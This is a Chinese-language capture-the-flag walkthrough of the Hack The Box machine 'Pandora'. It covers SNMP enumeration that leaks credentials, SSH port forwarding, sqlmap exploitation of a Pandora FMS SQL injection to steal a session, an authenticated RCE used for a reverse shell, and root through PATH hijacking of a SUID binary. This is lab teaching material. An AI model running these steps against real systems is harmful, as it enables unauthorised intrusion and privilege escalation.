Pandora
Enumeration
nmap
第一次扫描发现系统对外开放了22和80端口,端口详细信息如下
访问80端口,显示PLAY是Panda.htb的扩展,将网络监控解决方案带到家门口
尝试添加Panda.htb到/etc/hosts中,访问得到的页面却是一样的,扫描目录依然没有什么收获,因为使用引导模式,回答问题时才得到提示,系统对外开放了udp端口,扫描一下常见的udp端口
sudo nmap -sU -top-ports=100 10.10.11.136
结果如下,可以看到161端口运行着snmp服务
SNMP
SNMP是简单网络管理协议(Simple Network Management Protocol),提供一个向设备询问其性能和配置的框架,用于管理和监控通过网络连接的所有设备。以被管理系统变量的形式公开管理数据,然后可以远程查询这些变量
可以使用snmpwalk程序来扫描snmp服务
snmpwalk -v 1 -c public 10.10.11.136
snmpwalk揭示了很多信息,主机信息,一些姓名,位置等信息
网络信息
还有监听端口信息、进程信息、已安装软件包列表等
最终,可以在其中发现一组用户名和密码daniel/HotelBabylon23
该凭据可以用作ssh登录的用户名和密码,登陆成功后,发现daniel目录什么都没有,但是matt目录中存在user.txt,可是无法打开
Lateral Movement
查看Apache的VHOST配置,发现存在一个pandora.conf,可以看到有一个/var/www/pandora的web监听在localhost:80,servername是pandora.panda.htb
可以使用端口转发将本地的9001端口连接到目标的80,因此重新登录ssh
ssh -L 9001:localhost:80 daniel@10.10.11.136
完成这一步后,就可以在本地直接访问http://127.0.0.1:9001,即可访问对应web,可以在标签页顶部以及网站首页看到应用程序的名字是Pandora FMS
在页面最底部可以看到版本信息
最先找到一个rce漏洞,但是需要认证,又发现存在sql注入,可以参考文章Pandora FMS 742: Critical Code Vulnerabilities Explained
文章描述重点放在SQL注入漏洞可以在没有任何访问权限的情况下被远程利用,并使攻击者能够完全绕过管理员身份验证,这最终使得能够在系统上执行任意代码。
Unauthenticated SQL Injection (CVE-2021-32099)
文章主要内容如下,url为/include/chart_generator.php,参数为session_id
我们可以尝试直接访问url,显示如下
但是当添加了session_id参数且在参数后添加了一个单引号,可以看到报错信息,而添加了两个单引号,页面没有报错,接下来可以利用sqlmap
sqlmap很容易就能找到问题,并且给出注入类型
sqlmap -u "http://127.0.0.1:9001/pandora_console/include/chart_generator.php?session_id=1"
接下来就一步一步从数据库到表最后到列,来获取敏感数据
--dbs
--tables -D "pandora"
一共找到了178张表,选择爆破tsessions_php表
-T "tsessions_php" -D "pandora" --dump
现在有了matt的session_id,访问对应的session_id
http://127.0.0.1:9001/pandora_console/include/chart_generator.php?session_id=g4e01qdgk36mfdh90hvcc54umq
然后再返回主页,发现已经成功以matt身份登录
RCE-CVE-2020-13851
登陆成功后,可以利用rce漏洞获取shell,参考Pandora FMS Community Multiple Vulnerabilities | CoreLabs Advisories
在左侧面板中单击“Events”>“View events”
其中有一个POST包如下所示
POST /pandora_console/ajax.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Length: 78
sec-ch-ua: "Chromium";v="107", "Not=A?Brand";v="24"
Accept: application/json, text/javascript, /; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.107 Safari/537.36
sec-ch-ua-platform: "Linux"
Origin: http://127.0.0.1:9001
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:9001/pandora_console/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=fubuv7gp2qo3338lfbolq2kjmk
Connection: close
page=godmode%2Fsetup%2Fsetup_notifications&check_new_notifications=1&last_id=0
将包发送到repeater,在kali中开启监听,修改参数发送
在监听端会得到反弹shell
可以在matt目录中发现user.txt
Privilege Escalation
寻找设置了SUID的文件
然后在其中发现了/usr/bin/pandora_backup,看起来不一样
restricted shell environment
尝试执行该二进制文件,却发现了错误
该二进制文件设置了SUID位却无法以root身份运行。根据官方wp提示得知这是一个受限的shell,可以根据GTFOBins的提示来突破受限
然后再次执行/usr/bin/pandora_backup二进制文件,可以看到PandoraFMS的备份正在被创建
在程序执行时发现用到了tar,用于将数据压缩到名为pandorabackup.tar.gz的备份文件中,但是tar文件的使用的是相对路径,可以尝试
PATH variable hijacking
PATH 环境变量包含目录列表。因此,当运行二进制文件而不指定其绝对路径时,将从头到尾搜索 PATH 变量中列出的目录以查找该二进制文件,并运行第一个匹配的可执行文件。因此 PATH 变量开头的目录优先于后面的目录。现在,一个易受攻击的场景是未指定二进制文件的绝对路径。我们可以创建一个包含恶意命令的文件,并将文件名与要运行的二进制文件的文件名相同。我们还需要更改 PATH 变量,以便在搜索 PATH 变量中列出的目录时,我们的恶意文件是第一个匹配的文件。
在/tmp目录下创建一个tar文件,并写入如下代码
#!/bin/bash
/bin/bash
为tar添加执行权限后,修改远程系统上的PATH变量,在前面添加/tmp文件夹,让其成为第一个被搜索的路径
最后成功拿到root权限